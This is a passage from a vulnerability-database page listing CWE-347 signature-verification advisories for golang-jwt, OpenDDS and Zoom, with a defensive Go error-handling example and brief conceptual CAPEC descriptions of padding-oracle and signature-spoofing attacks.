"name": "github.com/golang-jwt/jwt/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-51744"
],
"database_specific": {
"cwe_ids": [
"CWE-347",
"CWE-755"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-04T23:22:41Z",
"nvd_published_at": "2024-11-04T22:15:03Z",
"severity": "LOW"
},
"details": "### Summary\n\nUnclear documentation of the error behavior in `ParseWithClaims` can lead to situation where users are potentially not checking errors in the way they should be. Especially, if a token is both expired and invalid, the errors returned by `ParseWithClaims` return both error codes. If users only check for the `jwt.ErrTokenExpired ` using `error.Is`, they will ignore the embedded `jwt.ErrTokenSignatureInvalid` and thus potentially accept invalid tokens.\n\n### Fix\n\nWe have back-ported the error handling logic from the `v5` branch to the `v4` branch. In this logic, the `ParseWithClaims` function will immediately return in \"dangerous\" situations (e.g., an invalid signature), limiting the combined errors only to situations where the signature is valid, but further validation failed (e.g., if the signature is valid, but is expired AND has the wrong audience). This fix is part of the 4.5.1 release.\n\n### Workaround \n\nWe are aware that this changes the behaviour of an established function and is not 100 % backwards compatible, so updating to 4.5.1 might break your code. In case you cannot update to 4.5.0, please make sure that you are properly checking for all errors (\"dangerous\" ones first), so that you are not running in the case detailed above.\n\n```Go\ntoken, err := /* jwt.Parse or similar */\nif token.Valid {\n\tfmt.Println(\"You look nice today\")\n} else if errors.Is(err, jwt.ErrTokenMalformed) {\n\tfmt.Println(\"That\u0027s not even a token\")\n} else if errors.Is(err, jwt.ErrTokenUnverifiable) {\n\tfmt.Println(\"We could not verify this token\")\n} else if errors.Is(err, jwt.ErrTokenSignatureInvalid) {\n\tfmt.Println(\"This token has an invalid signature\")\n} else if errors.Is(err, jwt.ErrTokenExpired) || errors.Is(err, jwt.ErrTokenNotValidYet) {\n\t// Token is either expired or not active yet\n\tfmt.Println(\"Timing is everything\")\n} else {\n\tfmt.Println(\"Couldn\u0027t handle this token:\", err)\n}\n```",
"id": "GHSA-29wx-vh33-7x7r",
"modified": "2024-11-12T21:32:34Z",
"published": "2024-11-04T23:22:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/golang-jwt/jwt/security/advisories/GHSA-29wx-vh33-7x7r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51744"
},
{
"type": "WEB",
"url": "https://github.com/golang-jwt/jwt/commit/7b1c1c00a171c6c79bbdb40e4ce7d197060c1c2c"
},
{
"type": "PACKAGE",
"url": "https://github.com/golang-jwt/jwt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Bad documentation of error handling in ParseWithClaims can lead to potentially dangerous situations"
}
GHSA-2C3Q-4R43-MV83
Vulnerability from github – Published: 2026-09-08 21:34 – Updated: 2026-09-09 21:31
VLAI
Details
An issue in OpenDDS 3.33.x allows a local attacker to cause a denial of service via the verify function in the SIgnedDocument module
Severity
6.6 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-52486"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-08T20:17:34Z",
"severity": "MODERATE"
},
"details": "An issue in OpenDDS 3.33.x allows a local attacker to cause a denial of service via the verify function in the SIgnedDocument module",
"id": "GHSA-2c3q-4r43-mv83",
"modified": "2026-09-09T21:31:34Z",
"published": "2026-09-08T21:34:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52486"
},
{
"type": "WEB",
"url": "https://gist.github.com/lkloliver/31a58b0b613a5f4d82dd183b353bbdf2"
},
{
"type": "WEB",
"url": "https://github.com/OpenDDS/OpenDDS/tree/master/dds/DCPS/security/SSL/SignedDocument.cpp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2C5R-8H52-PHWR
Vulnerability from github – Published: 2023-06-13 18:30 – Updated: 2024-04-04 04:47
VLAI
Details
Zoom for Windows clients prior to 5.13.5 contain an improper verification of cryptographic signature vulnerability. A malicious user may potentially downgrade Zoom Client components to previous versions.
Severity
{
"affected": [],
"aliases": [
"CVE-2023-28602"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-13T18:15:21Z",
"severity": "HIGH"
},
"details": "Zoom for Windows clients prior to 5.13.5 contain an improper verification of cryptographic signature vulnerability. A malicious user may potentially downgrade Zoom Client components to previous versions.",
"id": "GHSA-2c5r-8h52-phwr",
"modified": "2024-04-04T04:47:39Z",
"published": "2023-06-13T18:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28602"
},
{
"type": "WEB",
"url": "https://explore.zoom.us/en/trust/security/security-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-463: Padding Oracle Crypto Attack
An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.
CAPEC-475: Signature Spoofing by Improper Validation
An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.